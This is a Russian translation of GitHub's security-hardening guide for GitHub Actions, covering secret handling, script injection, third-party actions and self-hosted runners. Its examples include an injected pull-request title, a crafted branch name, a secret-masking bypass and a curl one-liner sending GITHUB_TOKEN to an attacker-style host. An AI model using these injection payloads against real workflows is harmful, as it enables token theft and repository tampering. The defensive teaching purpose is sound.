Эта версия GitHub Enterprise Server была прекращена 2024-09-25. Исправления выпускаться не будут даже при критических проблемах безопасности. Для повышения производительности, повышения безопасности и новых функций выполните обновление до последней версии GitHub Enterprise Server. Чтобы получить справку по обновлению, обратитесь в службу поддержки GitHub Enterprise.

Защита системы безопасности для GitHub Actions

Рекомендации по безопасности при использовании функций GitHub Actions.

В этой статье

Обзор

В этом руководстве объясняется, как настроить усиление безопасности для определенных функций GitHub Actions. Если понятия GitHub Actions незнакомы, см. раздел "Общие сведения о GitHub Actions".

Использование секретов

Конфиденциальные значения никогда не должны храниться в виде открытого текста в файлах рабочего процесса, а должны храниться как секреты. Секреты можно настроить на уровне организации, репозитория или окружения и позволить хранить конфиденциальную информацию в GitHub Enterprise Server.

Для предотвращения случайного раскрытия данных GitHub Enterprise Server использует механизм, который пытается редактировать секреты, отображаемые в журналах выполнения. Это изменение ищет точные совпадения всех настроенных секретов, используемых в задании, а также распространенные кодировки значений, например Base64. Но так как значение секрета можно преобразовать несколькими способами, такое исправление не гарантировано. Кроме того, средство выполнения может изменять только секреты, используемые в текущем задании. Как результат, есть определенные упреждающие действия и рекомендации, которым вы должны следовать, чтобы обеспечить скрытие секретов и ограничить другие риски, связанные с секретами:

  • Никогда не используйте структурированные данные в качестве секрета
    • Структурированные данные могут привести к сбою скрытия секрета в журналах, так как скрытие в значительной степени зависит от поиска точного соответствия для конкретного значения секрета. Например, не используйте большой двоичный объект JSON, XML или YAML (или аналогичный указанным) для инкапсуляции секретного значения, так как это значительно снижает вероятность того, что секреты будут правильно скрыты. Вместо этого создайте отдельные секреты для каждого конфиденциального значения.
  • Зарегистрируйте все секреты, используемые в рабочих процессах
    • Если секрет используется для создания другого конфиденциального значения в рабочем процессе, созданное значение должно быть официально зарегистрировано как секрет, чтобы он отображался в журналах. Например, если вы используете закрытый ключ для создания подписанного JWT для доступа к веб-API, обязательно зарегистрируйте этот JWT как секрет, иначе он не будет скрыт, если он когда-либо попадет в выходные данные журнала.
    • Регистрация секретов также применяется к любому типу преобразования или кодирования. Если ваш секрет каким-либо образом преобразован (например, в кодировке Base64 или URL), обязательно зарегистрируйте новое значение в качестве секрета.
  • Выполняйте аудит обработки секретов
    • Выполните аудит использования секретов, чтобы убедиться, что они обрабатываются должным образом. Это можно сделать, просмотрев исходный код репозитория, выполняющего рабочий процесс, и проверив все действия, используемые в рабочем процессе. Например, убедитесь, что они не отправляются на непредусмотренные узлы или непосредственно не печатаются для вывода журнала.
    • Просмотрите журналы выполнения для вашего рабочего процесса после проверки допустимых/недопустимых входных данных и убедитесь, что секреты правильно скрыты или не отображаются. Не всегда очевидно, как вызываемая команда или средство будет отправлять ошибки в STDOUT и STDERR, а секреты в дальнейшем могут оказаться в журналах ошибок. Поэтому рекомендуется вручную просматривать журналы рабочего процесса после проверки допустимых и недопустимых входных данных. Сведения о том, как очистить журналы рабочих процессов, которые могут непреднамеренно содержать конфиденциальные данные, см. в разделе "Использование журналов выполнения рабочих процессов".
  • Используйте учетные данные с минимальной областью действия
    • Убедитесь, что учетные данные, используемые в рабочих процессах, имеют наименьшие требуемые разрешения, и имейте ввиду, что любой пользователь с доступом на запись в ваш репозиторий имеет доступ на чтение ко всем секретам, настроенным в вашем репозитории.
    • Действия могут использовать GITHUB_TOKEN, обращаясь к нему из контекста github.token. Дополнительные сведения см. в разделе Доступ к контекстной информации о запусках рабочих процессов. Поэтому необходимо убедиться, что для GITHUB_TOKEN предоставлены минимальные требуемые разрешения. В целях безопасности рекомендуется установить разрешение по умолчанию для GITHUB_TOKEN на чтение только содержимого репозитория. Затем при необходимости можно увеличить разрешения для отдельных заданий в файле рабочего процесса. Дополнительные сведения см. в разделе Автоматическая проверка подлинности токенов.
  • Выполняйте аудит и смену зарегистрированных секретов
    • Периодически проверяйте зарегистрированные секреты, чтобы убедиться, что они по-прежнему необходимы. Удалите те, которые больше не нужны.
    • Периодически меняйте секреты, чтобы сократить период времени, в течение которого действителен скомпрометированный секрет.
  • Рассмотрите возможность проверки доступа к секретам
    • Привлекайте необходимых рецензентов для защиты секретов среды. Задание рабочего процесса не может получить доступ к секретам окружения, пока рецензент не создаст утверждение. Дополнительные сведения о хранении секретов в средах или необходимости проверки для сред см. в разделе "[AUTOTITLE" иИспользование секретов в GitHub Actions](/actions/deployment/targeting-different-environments/managing-environments-for-deployment)".

Warning

Любой пользователь с доступом на запись в репозиторий имеет доступ на чтение ко всем секретам, настроенным в репозитории. Поэтому необходимо убедиться, что учетные данные, используемые в рабочих процессах, имеют наименьшие требуемые разрешения.

Использование CODEOWNERS для отслеживания изменений

Вы можете использовать функцию CODEOWNERS для управления внесением изменений в файлы рабочего процесса. Например, если все файлы вашего рабочего процесса хранятся в .github/workflows, можно добавить этот каталог в список владельцев кода, чтобы любые предлагаемые изменения в этих файлах сначала требовали утверждения назначенным рецензентом.

Дополнительные сведения см. в разделе О владельцах кода.

Осознание риска внедрения скриптов

При создании рабочих процессов, [пользовательских действий и составных действий](/actions/creating-actions/creating-a-composite-action) следует всегда учитывать, может ли код выполнять ненадежные входные данные от злоумышленников. Это может произойти, когда злоумышленник добавляет в контекст вредоносные команды и сценарии. При запуске рабочего процесса эти строки могут быть интерпретированы как код, который затем выполняется в средстве выполнения тестов.

Злоумышленники могут добавлять собственное вредоносное содержимое в githubконтекст, что следует рассматривать как потенциально ненадежные входные данные. Эти контексты обычно заканчиваются на body, default_branch, email, head_ref, label, message, name, page_name,ref и title. Например, github.event.issue.title или github.event.pull_request.body.

Следует убедиться, что эти значения не передаются непосредственно в рабочие процессы, действия, вызовы API или куда-либо еще, где они могут быть интерпретированы как исполняемый код. Применяя ту же защитную позицию программирования, которую вы бы использовали для любого другого кода привилегированного приложения, вы можете помочь системе безопасности усилить использование GitHub Actions. Сведения о некоторых шагах, которые может предпринять злоумышленник, см. в разделе "Защита системы безопасности для GitHub Actions".

Кроме того, существуют и другие менее очевидные источники потенциально ненадежных входных данных, такие как имена ветвей и адреса электронной почты, которые могут быть весьма гибкими с точки зрения разрешенного содержания. Например, zzz";echo${IFS}"hello";# будет допустимым именем ветви и возможным вектором атаки на целевой репозиторий.

В следующих разделах показано, как снизить риск внедрения скриптов.

Пример атаки путем внедрения сценария

Атака путем внедрения сценария может произойти непосредственно во встроенном сценарии рабочего процесса. В следующем примере действие использует выражение для проверки достоверности заголовка запроса на вытягивание, но также добавляет риск внедрения сценария:

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

Этот пример уязвим для внедрения сценария, так как команда run выполняется во временном сценарии оболочки в средстве выполнения тестов. Перед запуском сценария оболочки выражения внутри ${{ }} оцениваются, а затем заменяются полученными значениями, что может сделать сценарий уязвимым для внедрения команд оболочки.

Чтобы внедрить команды в этот рабочий процесс, злоумышленник может создать запрос на вытягивание с заголовком a"; ls $GITHUB_WORKSPACE":

Снимок экрана: заголовок запроса на вытягивание в режиме редактирования. В поле введен новый заголовок: a"; ls $GITHUB_WORKSPACE".

В этом примере символ " используется для прерывания инструкции title="${{ github.event.pull_request.title }}", позволяя выполнять команду ls в средстве выполнения. Вы увидите выходные данные команды ls в журнале:

Run title="a"; ls $GITHUB_WORKSPACE""
README.md
code.yml
example.js

Рекомендации по устранению атак путем внедрения сценария

Существует ряд различных подходов, которые помогут снизить риск внедрения сценариев:

Рекомендуется создать действие JavaScript, которое обрабатывает значение контекста в качестве аргумента. Этот подход не уязвим для атаки на внедрение, так как значение контекста не используется для создания скрипта оболочки, но вместо этого передается в действие в качестве аргумента:

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

Использование промежуточной переменной среды

Для встроенных сценариев предпочтительным подходом к обработке ненадежных входных данных является установка значения выражения в промежуточную переменную среды.

В следующем примере используется Bash для обработки значения github.event.pull_request.title в качестве переменной среды:

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

В этом примере попытка внедрения скрипта завершается неудачно, что отражается следующими строками в журнале:

   env:
     TITLE: a"; ls $GITHUB_WORKSPACE"
PR title did not start with 'octocat'

При таком подходе значение выражения ${{ github.event.issue.title }} хранится в памяти, используется в качестве переменной и не взаимодействует с процессом создания сценария. Кроме того, рассмотрите возможность использования переменных оболочки в двойных кавычках, чтобы избежать разбиения слов, но это одна из многих общих рекомендаций по написанию сценариев оболочки, и она не относится только к GitHub Actions.

Ограничение разрешений для токенов

Чтобы снизить риск незащищенного токена, рассмотрите возможность ограничения назначенных разрешений. Дополнительные сведения см. в разделе Автоматическая проверка подлинности токенов.

Использование OpenID Connect для доступа к облачным ресурсам

Если рабочим процессам GitHub Actions требуется доступ к ресурсам от поставщика облачных служб, поддерживающего OpenID Connect (OIDC), можно настроить рабочие процессы для проверки подлинности непосредственно в поставщике облачных служб. Это позволит прекратить хранение таких учетных данных в виде долгоживущих секретов и обеспечить другие преимущества безопасности. Дополнительные сведения см. в разделе "Сведения об усилении защиты с помощью OpenID Connect"

Note

Поддержка пользовательских утверждений для OIDC недоступна в AWS.

Использование действий третьих лиц

Отдельные задания в рабочем процессе могут взаимодействовать c другими заданиями (и подвергать их риску). Например, задание, запрашивающее переменные среды, используемые более поздним заданием, записывающее файлы в общий каталог, который обрабатывает более позднее задание, или даже более непосредственно, взаимодействуя с сокетом Docker и проверяя другие запущенные контейнеры и выполняя в них команды.

Это означает, что компрометация одного действия в рабочем процессе может иметь очень большое значение, так как это скомпрометированное действие будет иметь доступ ко всем секретам, настроенным в вашем репозитории, и может использовать GITHUB_TOKEN для записи в репозиторий. Следовательно, существует значительный риск при поиске действий из сторонних репозиториев на GitHub. Сведения о некоторых шагах, которые может предпринять злоумышленник, см. в разделе "Защита системы безопасности для GitHub Actions".

Вы можете помочь снизить этот риск, выполнив следующие рекомендации:

  • Закрепление действий в SHA полной фиксации

    Закрепление действия в SHA полной фиксации сейчас является единственным способом использования действия в качестве неизменяемого выпуска. Закрепление в определенном SHA помогает снизить риск того, что злоумышленник добавит черный ход в репозиторий действия, так как ему потребуется создать коллизию SHA-1 для действительной полезной нагрузки объекта Git. При выборе SHA необходимо убедиться, что он находится в репозитории действия, а не вилке репозитория.

  • Аудит исходного кода действия

    Убедитесь, что действие обрабатывает содержимое репозитория и секреты должным образом. Например, убедитесь, что секреты не отправляются на непредусмотренные узлы или не регистрируются самопроизвольно.

  • Закрепляйте действия в теге только в случае доверия автору

    Хотя закрепление в фиксации SHA является наиболее безопасным вариантом, указание тега — это более удобный и широко используемый метод. Если вы хотите указать тег, убедитесь, что вы доверяете авторам действия. Индикатор событий "Проверенный автор" на GitHub Marketplace является полезным сигналом, так как он указывает, что действие было создано командой, удостоверение которой проверено с помощью GitHub. Обратите внимание, что в этом подходе есть риск, даже если вы доверяете автору, потому что тег может быть перемещен или удален, если злоумышленник получит доступ к репозиторию, в котором хранится действие.

Повторное использование сторонних рабочих процессов

Те же самые принципы, описанные выше для использования сторонних действий, также применимы к использованию сторонних рабочих процессов. Вы можете снизить риски, связанные с повторным использованием рабочих процессов, следуя тем же рекомендациям, которые описаны выше. Дополнительные сведения см. в разделе Повторное использование рабочих процессов.

Использование Dependabot version updates для поддержания актуальности действий

Вы можете использовать Dependabot для обеспечения актуальности ссылок на действия и повторно используемые рабочие процессы, используемые в репозитории. Действия часто обновляются с помощью исправлений ошибок и новых функций, чтобы сделать автоматизированные процессы более быстрыми, безопасными и более надежными. Dependabot берет на себя усилия по поддержанию зависимостей, так как это делается автоматически. Дополнительные сведения см. в разделе "[AUTOTITLE" и "Поддержка актуальности действий с помощью Dependabot](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates)".

Разрешение рабочим процессам доступа к внутренним и частным репозиториям

Если вы делаете частный репозиторий доступным для рабочих процессов GitHub Actions в других репозиториях, внешний участник совместной работы на других репозиториях могут косвенно получить доступ к частному репозиторию, даже если у них нет прямого доступа к этим репозиториям. Внешний участник совместной работы могут просматривать журналы для рабочих процессов при использовании действий или рабочих процессов из частного репозитория. Дополнительные сведения см. в разделе "Совместное использование действий и рабочих процессов с вашим предприятием".

Чтобы разрешить бегунам скачать эти действия, GitHub передает маркер установки область в средство выполнения. Этот маркер имеет доступ на чтение к репозиторию и автоматически истекает через один час.

Запрет GitHub Actions создавать или утверждать запросы на вытягивание

Вы можете разрешить или запретить рабочим процессам GitHub Actions создание или утверждение запросов на вытягивание. Разрешение рабочих процессов или любой другой автоматизации для создания или утверждения запросов на вытягивание может быть угрозой безопасности, если запрос на вытягивание объединен без надлежащего надзора.

Дополнительные сведения о настройке этого параметра см. в разделе "AUTOTITLE"[," "Отключение или ограничение GitHub Actions для вашей организации" и "Применение политик для GitHub Actions в вашем предприятии](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests)".

Использование систем показателей OpenSSF для защиты рабочих процессов

Системы показателей — это автоматизированное средство безопасности, которое выявляет рискованные действия в цепочке поставок. Вы можете использовать действие системы показателей и шаблон рабочего процесса для выполнения рекомендаций по безопасности. После настройки действие системы показателей выполняется автоматически при изменении репозитория и предупреждает разработчиков о рискованных методах цепочки поставок с помощью встроенного интерфейса code scanning. Проект системы показателей выполняет ряд проверок, включая атаки путем внедрения сценария, разрешения токенов и закрепленные действия.

Потенциальное влияние скомпрометированного средства выполнения тестов

В этих разделах рассматриваются некоторые шаги, которые может предпринять злоумышленник, если он сможет запускать вредоносные команды в средстве выполнения тестов GitHub Actions.

Доступ к секретам

Рабочие процессы, активированные из вилированного репозитория с помощью pull_request события, имеют разрешения только для чтения и не имеют доступа к секретам. Однако эти разрешения отличаются для различных триггеров событий, таких как issue_comment, push issuesи pull_request из ветви в репозитории, где злоумышленник может попытаться украсть секреты репозитория или использовать разрешение на запись заданияGITHUB_TOKEN.

  • Если для секрета или маркера задана переменная среды, прямой доступ к нему можно получить через окружение с помощью printenv.

  • Если секрет используется непосредственно в выражении, созданный сценарий оболочки хранится на диске и является доступным.

  • Для пользовательского действия риск может варьироваться в зависимости от того, как программа использует секрет, полученный из аргумента:

    uses: fakeaction/publish@v3
with:
    key: ${{ secrets.PUBLISH_KEY }}

Хотя GitHub Actions удаляет из памяти секреты, на которые не ссылается рабочий процесс (или включенное действие), определенный злоумышленник может собрать GITHUB_TOKEN и любые секреты, на которые указывает ссылка.

Извлечение данных из средства выполнения тестов

Злоумышленник может получить все украденные секреты или другие данные от средства выполнения тестов. Чтобы предотвратить случайное раскрытие секрета, GitHub Actions автоматически скрывает секреты, напечатанные в журнале, но это не является реальной границей безопасности, так как секреты могут быть намеренно отправлены в журнал. Например, скрытые секреты можно перенести с помощью echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. Кроме того, так как злоумышленник может выполнять произвольные команды, он может использовать HTTP-запросы для отправки секретов или других данных репозитория на внешний сервер.

Кража GITHUB_TOKEN задания

Злоумышленник может украсть GITHUB_TOKEN задания. Средство выполнения тестов GitHub Actions автоматически получает созданный GITHUB_TOKEN с разрешениями, которые ограничены только репозиторием, содержащим рабочий процесс, и срок действия маркера истекает после завершения задания. После истечения срока действия токен больше ничем не поможет злоумышленнику. Чтобы обойти это ограничение, злоумышленники могут автоматизировать атаку и выполнить ее в доли секунды путем вызова управляемого злоумышленником сервера с токеном, например: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Изменение содержимого репозитория

Сервер злоумышленника может использовать API GitHub Enterprise Server для изменения содержимого репозитория, включая выпуски, если назначенные разрешения GITHUB_TOKEN не ограничены.

Рассмотрение возможности доступа между репозиториями

GitHub Actions намеренно ограничивается до одного репозитория за один раз. GITHUB_TOKEN предоставляет тот же уровень доступа, что и у пользователя с доступом на запись, так как любой пользователь с доступом на запись может получить доступ к этому токену, создав или изменив файл рабочего процесса, повышая разрешения GITHUB_TOKEN, если есть необходимость. У пользователей есть определенные разрешения для каждого репозитория, поэтому разрешение GITHUB_TOKEN для одного репозитория предоставлять доступ к другому повлияет на модель разрешений GitHub, если она не реализована тщательно. Аналогичным образом следует соблюдать осторожность при добавлении токенов проверки подлинности GitHub в рабочий процесс, так как это также может повлиять на модель разрешений GitHub путем случайного предоставления широкого доступа к участникам совместной работы.

Если ваша организация принадлежит корпоративной учетной записи, вы можете совместно использовать и повторно использовать GitHub Actions путем хранения их во внутренних репозиториях. Дополнительные сведения см. в разделе Совместное использование действий и рабочих процессов с вашим предприятием.

Вы можете выполнять другие привилегированные взаимодействия между репозиториями, ссылаясь на маркер проверки подлинности GitHub или ключ SSH в качестве секрета в рабочем процессе. Так как многие типы токенов проверки подлинности не обеспечивают детальный доступ к определенным ресурсам, существует значительный риск при использовании неправильного типа токена, потому что он может предоставить гораздо более широкий доступ, чем предполагалось.

В этом списке описаны рекомендуемые подходы по доступу к данным репозитория в рамках рабочего процесса в порядке убывания предпочтения:

  1. Токен GITHUB_TOKEN
    • Этот токен намеренно привязан к одному репозиторию, вызвавшему рабочий процесс, и может иметь тот же уровень доступа, что и пользователь доступа на запись в репозитории. Токен создается перед началом каждого задания и истекает по его завершении. Дополнительные сведения см. в разделе Автоматическая проверка подлинности токенов.
    • GITHUB_TOKEN следует использовать всякий раз, когда это возможно.
  2. Ключи развертывания репозитория
    • Ключи развертывания — это один из немногих типов учетных данных, которые предоставляют доступ на чтение или запись к одному репозиторию и могут использоваться для взаимодействия с другим репозиторием в рамках рабочего процесса. Дополнительные сведения см. в разделе Управление ключами развертывания.
    • Обращаем ваше внимание на то, что ключи развертывания могут клонировать и отправлять их в репозиторий с помощью Git и не могут использоваться для взаимодействия с REST API или API GraphQL, поэтому они могут не соответствовать вашим требованиям.
  3. Токены GitHub App
  4. personal access tokens
    • Никогда не следует использовать personal access token (classic). Эти токены предоставляют доступ ко всем репозиториям внутри организаций, к которым у вас есть доступ, а также ко всем личным репозиториям в вашем личном кабинете. Это косвенно предоставляет широкий доступ всем пользователям с доступом на запись в репозитории, в котором находится рабочий процесс.
    • Если вы используете personal access token, вы никогда не должны использовать personal access token из собственной учетной записи. Если позже вы покидаете организацию, рабочие процессы, использующие этот маркер, немедленно прерывают работу, и отладка этой проблемы может оказаться сложной. Вместо этого следует использовать fine-grained personal access tokenдля новой учетной записи, которая принадлежит вашей организации, и она предоставляет доступ только к определенным репозиториям, необходимым для рабочего процесса. Обратите внимание, что этот подход не является масштабируемым и его следует избегать в пользу альтернативных вариантов, таких как развертывание ключей.
  5. Ключи SSH в личной учетной записи
    • Для рабочих процессов никогда не следует использовать ключи SSH в личной учетной записи. Как и personal access tokens (classic), они предоставляют разрешения на чтение и запись всем личным репозиториям, а также всем репозиториям, к которым у вас есть доступ через членство в организации. Это косвенно предоставляет широкий доступ всем пользователям с доступом на запись в репозитории, в котором находится рабочий процесс. Если вы собираетесь использовать ключ SSH, потому что вам нужно только выполнять клонирование или отправку репозитория и не нужно взаимодействовать с общедоступными API, вместо этого вам следует использовать отдельные ключи развертывания.

Защита для GitHubразмещенных средств выполнения

Note

GitHubразмещенные в данный момент средства выполнения не поддерживаются в GitHub Enterprise Server. Дополнительные сведения о планируемой поддержке в будущем см. в GitHub public roadmap.

Усиление защиты для средств выполнения тестов локального размещения

Self-hosted runners for GitHub Enterprise Server не имеют гарантий для выполнения в временных чистых виртуальных машинах и могут быть постоянно скомпрометированы ненадежным кодом в рабочем процессе.

осторожны при использовании локальных runners в частных или внутренних репозиториях, так как любой, кто может вилировать репозиторий и открыть запрос на вытягивание (как правило, те, с доступом на чтение к репозиторию), могут компрометировать локальную среду выполнения, включая получение доступа к секретам и GITHUB_TOKEN тому, что в зависимости от его параметров, может предоставить доступ на запись в репозиторий. Хотя рабочие процессы могут контролировать доступ к секретам окружения с помощью окружений и обязательных проверок, эти рабочие процессы не запускаются в изолированном окружении и по-прежнему подвержены тем же рискам при запуске в средстве выполнения тестов локального размещения.

владельцы могут выбрать, какие репозитории разрешены для создания локальных средств выполнения на уровне репозитория. .

Дополнительные сведения см. в разделе "Применение политик для GitHub Actions в вашем предприятии](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#limiting-the-use-of-self-hosted-runners)".

Когда средство выполнения тестов локального размещения определено на уровне организации или предприятия, GitHub Enterprise Server может планировать рабочие процессы из нескольких репозиториев в одном и том же средстве выполнения тестов. Следовательно, нарушение безопасности этих окружений может привести к серьезным последствиям. Чтобы уменьшить масштабы компрометации, вы можете установить границы, упорядочив средства выполнения тестов локального размещения в отдельные группы. Вы можете ограничить доступ к рабочим процессам, организациям и репозиториям для групп средств выполнения тестов. Дополнительные сведения см. в разделе Управление доступом к самостоятельно размещенным средствам выполнения с помощью групп.

Следует также рассмотреть окружение компьютеров средств выполнения тестов локального размещения:

  • Какие конфиденциальные сведения находятся в компьютере, настроенном в качестве средства выполнения тестов локального размещения? Например, закрытые ключи SSH, маркеры доступа API и другое.
  • Имеет ли компьютер сетевой доступ к конфиденциальным службам? Например, к службам метаданных Azure или AWS. Объем конфиденциальной информации в этом окружении должен быть сведен к минимуму, и вы всегда должны помнить, что любой пользователь, способный вызывать рабочие процессы, имеет доступ к этому окружению.

Некоторые клиенты могут попытаться частично снизить эти риски, внедрив системы, которые автоматически уничтожают средство выполнения тестов локального размещения после каждого выполнения задания. Однако этот подход может быть не таким эффективным, как предполагалось, так как нет никакого способа гарантировать, что средство выполнения тестов локального размещения выполняет только одно задание. Некоторые задания будут использовать секреты в качестве аргументов командной строки, которые могут быть видны другому заданию, выполняющемся в том же средстве выполнения тестов, например ps x -w. Это может привести к утечкам секретов.

Планирование стратегии управления для средств выполнения тестов локального размещения

Средство выполнения тестов локального размещения можно добавить на различные уровни в иерархии GitHub: уровень предприятия, организации или репозитория. Это размещение определяет, кто сможет управлять средством выполнения тестов:

Централизованное управление:

  • Если вы планируете, чтобы централизованная команда владела средствами выполнения тестов локального размещения, рекомендуется добавить свои средства выполнения тестов на самом высоком уровне взаимной организации или предприятия. Это предоставляет вашей команде единое расположение для просмотра ваших средств выполнения тестов и управления ими.
  • Если в вашем распоряжении только одна организация, то добавление средств выполнения тестов на уровне организации — это фактически тот же подход, но при добавлении другой организации в будущем могут возникнуть трудности.

Децентрализованное управление:

  • Если каждая команда будет управлять своими собственными средствами выполнения тестов локального размещения, то рекомендуется добавить средства выполнения тестов на самом высоком уровне владения команды. Например, если у каждой команды есть собственная организация, то будет проще, если средства выполнения тестов будут добавлены и на уровне организации.
  • Вы также можете добавить средства выполнения тестов на уровне репозитория, но это добавит накладные расходы на управление, а также увеличит количество необходимых вам средств выполнения тестов, так как вы не можете делиться средствами выполнения тестов между репозиториями.

Проверка подлинности в поставщике облачных служб

Если вы используете GitHub Actions для развертывания в поставщике облачных служб или планируете использовать хранилище HashiCorp для управления секретами, рекомендуется использовать OpenID Connect для создания маркеров доступа с ограниченной областью действия для выполнения рабочего процесса. Дополнительные сведения см. в разделе Сведения об усилении защиты с помощью OpenID Connect.

Аудит событий GitHub Actions

Журнал безопасности можно использовать для мониторинга действий для учетной записи пользователя и журнала аудита для мониторинга действий в организации. Журнал безопасности и аудита записывает тип действия, когда он был запущен, и который личная учетная запись выполнил действие.

Например, для отслеживания org.update_actions_secret события можно использовать журнал аудита, который отслеживает изменения секретов организации.

Снимок экрана: поиск действия:org.update_actions_secret в журнале аудита для организации. Показаны два результата.

Полный список событий, которые можно найти в журнале аудита для каждого типа учетной записи, см. в следующих статьях: